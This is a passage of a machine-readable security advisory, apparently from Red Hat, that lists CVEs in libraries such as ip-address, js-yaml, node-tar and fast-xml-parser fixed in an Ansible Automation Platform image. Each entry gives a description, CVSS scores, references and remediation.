"url": "https://github.com/django/django/commit/39b3e2d0c743a338def6c473086ebc06865e86b6"
},
{
"category": "external",
"summary": "https://github.com/django/django/commit/f1949c1f9758947ade984c895ff16bef46f56520",
"url": "https://github.com/django/django/commit/f1949c1f9758947ade984c895ff16bef46f56520"
},
{
"category": "external",
"summary": "https://groups.google.com/g/django-announce",
"url": "https://groups.google.com/g/django-announce"
},
{
"category": "external",
"summary": "https://www.djangoproject.com/weblog/2026/aug/04/security-releases/",
"url": "https://www.djangoproject.com/weblog/2026/aug/04/security-releases/"
}
],
"release_date": "2026-08-04T15:48:18.829000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-09-09T13:39:51+00:00",
"details": "For more about Ansible Portal Installer Bootc, see References links",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "django: Django: Remote code execution via GeoDjango spatial lookups"
},
{
"cve": "CVE-2026-54272",
"cwe": {
"id": "CWE-918",
"name": "Server-Side Request Forgery (SSRF)"
},
"discovery_date": "2026-07-27T18:01:01.261883+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2507593"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the `ip-address` library. This library, used for parsing and manipulating IPv4 and IPv6 addresses in JavaScript, is vulnerable to Server-Side Request Forgery (SSRF) due to incorrect classification of IPv4-mapped/NAT64 IPv6 addresses. An attacker could exploit this misclassification to bypass network restrictions and potentially access or manipulate internal resources. This vulnerability can be exploited on any dual-stack host for IPv4-mapped addresses, and for NAT64, it requires a NAT64/DNS64 gateway in the deployment network.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "ip-address: ip-address: Server-Side Request Forgery via IPv4-mapped/NAT64 IPv6 address misclassification",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is a Moderate flaw where the `ip-address` JavaScript library incorrectly classifies IPv4-mapped or NAT64 IPv6 addresses. This misclassification can lead to Server-Side Request Forgery (SSRF), allowing an attacker to bypass intended network restrictions and access internal resources. Exploitation is possible on dual-stack hosts for IPv4-mapped addresses, while NAT64 exploitation requires a NAT64/DNS64 gateway.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-54272"
},
{
"category": "external",
"summary": "RHBZ#2507593",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507593"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-54272",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54272"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-54272",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54272"
},
{
"category": "external",
"summary": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-22jq-vg5j-6vgg",
"url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-22jq-vg5j-6vgg"
}
],
"release_date": "2026-07-27T17:13:09.244000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-09-09T13:39:51+00:00",
"details": "For more about Ansible Portal Installer Bootc, see References links",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "ip-address: ip-address: Server-Side Request Forgery via IPv4-mapped/NAT64 IPv6 address misclassification"
},
{
"cve": "CVE-2026-59869",
"cwe": {
"id": "CWE-606",
"name": "Unchecked Input for Loop Condition"
},
"discovery_date": "2026-07-08T16:01:38.408322+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2498122"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in js-yaml, a JavaScript YAML parser and dumper. A remote attacker could exploit this vulnerability by providing a specially crafted YAML document containing a chain of mappings with merge keys. This could cause the parser to consume excessive CPU resources, leading to a Denial of Service (DoS) for the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "js-yaml: js-yaml: Denial of Service via crafted YAML documents",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated as Important. Red Hat products utilizing `js-yaml` to process untrusted YAML input are susceptible to a denial of service, as a remote attacker can provide a crafted document that consumes excessive CPU resources. This is considered Important due to the potential for service disruption without requiring authentication or complex attack vectors.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-59869"
},
{
"category": "external",
"summary": "RHBZ#2498122",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2498122"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-59869",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59869"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59869",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59869"
},
{
"category": "external",
"summary": "https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7",
"url": "https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7"
},
{
"category": "external",
"summary": "https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4",
"url": "https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4"
},
{
"category": "external",
"summary": "https://github.com/nodeca/js-yaml/releases/tag/3.15.0",
"url": "https://github.com/nodeca/js-yaml/releases/tag/3.15.0"
},
{
"category": "external",
"summary": "https://github.com/nodeca/js-yaml/releases/tag/4.3.0",
"url": "https://github.com/nodeca/js-yaml/releases/tag/4.3.0"
},
{
"category": "external",
"summary": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m",
"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m"
}
],
"release_date": "2026-07-08T15:15:54.675000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-09-09T13:39:51+00:00",
"details": "For more about Ansible Portal Installer Bootc, see References links",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
},
{
"category": "workaround",
"details": "To reduce exposure, restrict the processing of untrusted YAML documents by applications that rely on `js-yaml`. Implement robust input validation and sanitization for all YAML data originating from external or untrusted sources. Consider limiting network access to services that parse YAML content to trusted networks or clients through appropriate firewall configurations.",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "js-yaml: js-yaml: Denial of Service via crafted YAML documents"
},
{
"cve": "CVE-2026-67422",
"cwe": {
"id": "CWE-1333",
"name": "Inefficient Regular Expression Complexity"
},
"discovery_date": "2026-08-06T22:29:11.176663+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2512322"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in pymdown-extensions, a collection of extensions for the Python Markdown library. This vulnerability, known as a Regular Expression Denial of Service (ReDoS), arises from how certain inline processors handle regular expressions. An unauthenticated remote attacker can exploit this by submitting a short, untrusted Markdown line that causes the regular expression engine to perform an excessive number of calculations. This leads to unbounded CPU usage, effectively causing a denial of service for affected web applications or systems that process user-supplied Markdown.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "pymdown-extensions: Pymdown-extensions: Denial of Service via Regular Expression Vulnerability",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important as it enables an unauthenticated remote attacker to trigger a Regular Expression Denial of Service (ReDoS) in Red Hat products that render untrusted Markdown via `pymdown-extensions`. Catastrophic backtracking in specific inline processors can lead to excessive CPU usage and service disruption.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-67422"
},
{
"category": "external",
"summary": "RHBZ#2512322",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2512322"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-67422",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-67422"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67422",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67422"
},
{
"category": "external",
"summary": "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b",
"url": "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b"
},
{
"category": "external",
"summary": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw",
"url": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw"
}
],
"release_date": "2026-08-06T20:26:31.930000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-09-09T13:39:51+00:00",
"details": "For more about Ansible Portal Installer Bootc, see References links",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "pymdown-extensions: Pymdown-extensions: Denial of Service via Regular Expression Vulnerability"
},
{
"cve": "CVE-2026-69152",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-08-03T18:01:13.566423+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510722"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the brace-expansion library. The `expand()` function does not apply `maxLength` when constructing comma-alternative intermediate arrays or padded sequences, allowing attacker-controlled input to exhaust memory or block the event loop, resulting in a denial of service. This issue is due to an incomplete mitigation of CVE-2026-14257.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Any applications that pass user-controlled input to the `expand()` function are vulnerable to this issue. This flaw can result in an excessive consumption of memory that eventually terminates the process or blocks the event loop, both causing a denial of service. As this vulnerability allows a remote attacker to cause a denial of service, it has been rated with an important severity.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-69152"
},
{
"category": "external",
"summary": "RHBZ#2510722",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510722"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-69152",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69152"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69152",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69152"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895"
}
],
"release_date": "2026-08-03T16:33:36.324000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-09-09T13:39:51+00:00",
"details": "For more about Ansible Portal Installer Bootc, see References links",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
},
{
"category": "workaround",
"details": "To mitigate this vulnerability, do not pass untrusted input to the expand() function.",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation"
},
{
"cve": "CVE-2026-69192",
"cwe": {
"id": "CWE-1389",
"name": "Incorrect Parsing of Numbers with Different Radices"
},
"discovery_date": "2026-08-03T21:02:17.374935+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510801"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the `ip-address` library. This library incorrectly interprets IPv4 address octets with leading zeros as decimal, while standard network parsers interpret them as octal. This inconsistency can cause applications to misclassify network targets, allowing a remote attacker to bypass security measures like Server-Side Request Forgery (SSRF) filters and potentially gain unauthorized access to internal systems.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "ip-address: ip-address: Inconsistent IP address parsing leads to Server-Side Request Forgery (SSRF) and trust-boundary bypass",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important flaw in the `ip-address` JavaScript library can lead to Server-Side Request Forgery (SSRF) and trust-boundary bypass. The library\u0027s inconsistent parsing of IP address octets with leading zeros, which it interprets as decimal while the network stack interprets them as octal, can cause applications to misclassify internal IP addresses as external. This discrepancy can bypass security filters designed to prevent access to internal resources.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-69192"
},
{
"category": "external",
"summary": "RHBZ#2510801",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510801"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-69192",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69192"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69192",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69192"
},
{
"category": "external",
"summary": "https://github.com/beaugunderson/ip-address/commit/56368cb3d66c73ba0ee9b6b834fd31b22c2fd71e",
"url": "https://github.com/beaugunderson/ip-address/commit/56368cb3d66c73ba0ee9b6b834fd31b22c2fd71e"
},
{
"category": "external",
"summary": "https://github.com/beaugunderson/ip-address/releases/tag/v10.3.1",
"url": "https://github.com/beaugunderson/ip-address/releases/tag/v10.3.1"
},
{
"category": "external",
"summary": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-mwp4-54f8-5fhr",
"url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-mwp4-54f8-5fhr"
}
],
"release_date": "2026-08-03T19:56:13.640000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-09-09T13:39:51+00:00",
"details": "For more about Ansible Portal Installer Bootc, see References links",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "ip-address: ip-address: Inconsistent IP address parsing leads to Server-Side Request Forgery (SSRF) and trust-boundary bypass"
},
{
"cve": "CVE-2026-73566",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-08-13T17:51:27.686658+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2515509"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in node-tar, a tar archive manipulation library for Node.js. A remote attacker could provide a specially crafted tar archive with a long-path header. When processing this archive with a non-empty member-selection list, an uncontrolled recursion in the `filesFilter` function can lead to a stack overflow. This issue results in a denial of service (DoS) by terminating Node.js applications that consume these archives.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "tar: node-tar: Denial of Service via crafted long-path tar archive",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: A denial of service vulnerability exists in the `node-tar` library, affecting Node.js applications that process untrusted tar archives with member selection. A remote attacker could exploit this by providing a specially crafted archive containing excessively long paths, leading to an uncatchable stack overflow and termination of the consuming Node.js application. This is considered Important due to the potential for service disruption in applications handling untrusted archive content.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-73566"
},
{
"category": "external",
"summary": "RHBZ#2515509",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515509"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-73566",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73566"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-73566",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73566"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/631ae59121bf8fc8a22bbae35f074cb9b789cd4a",
"url": "https://github.com/isaacs/node-tar/commit/631ae59121bf8fc8a22bbae35f074cb9b789cd4a"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r292-9mhp-454m",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r292-9mhp-454m"
}
],
"release_date": "2026-08-13T17:39:05.796000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-09-09T13:39:51+00:00",
"details": "For more about Ansible Portal Installer Bootc, see References links",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "tar: node-tar: Denial of Service via crafted long-path tar archive"
},
{
"cve": "CVE-2026-73569",
"cwe": {
"id": "CWE-776",
"name": "Improper Restriction of Recursive Entity References in DTDs (\u0027XML Entity Expansion\u0027)"
},
"discovery_date": "2026-08-13T18:11:11.490975+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2515526"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in fast-xml-parser. A remote attacker could exploit this by submitting a specially crafted XML document containing multiple DOCTYPE declarations. These repeated declarations can reset internal entity expansion limits during parsing. This can lead to excessive CPU usage, event-loop blocking, and memory exhaustion, ultimately resulting in a Denial of Service (DoS) for the application processing the XML.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "fast-xml-parser: fast-xml-parser: Denial of Service via repeated DOCTYPE declarations",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important denial of service vulnerability affecting Red Hat products that process untrusted XML input using the `fast-xml-parser` library versions 5.9.3 through 5.10.0. A remote attacker could provide a specially crafted XML document with multiple DOCTYPE declarations, leading to excessive CPU usage, memory exhaustion, and potential service disruption.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-73569"
},
{
"category": "external",
"summary": "RHBZ#2515526",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515526"
},
{
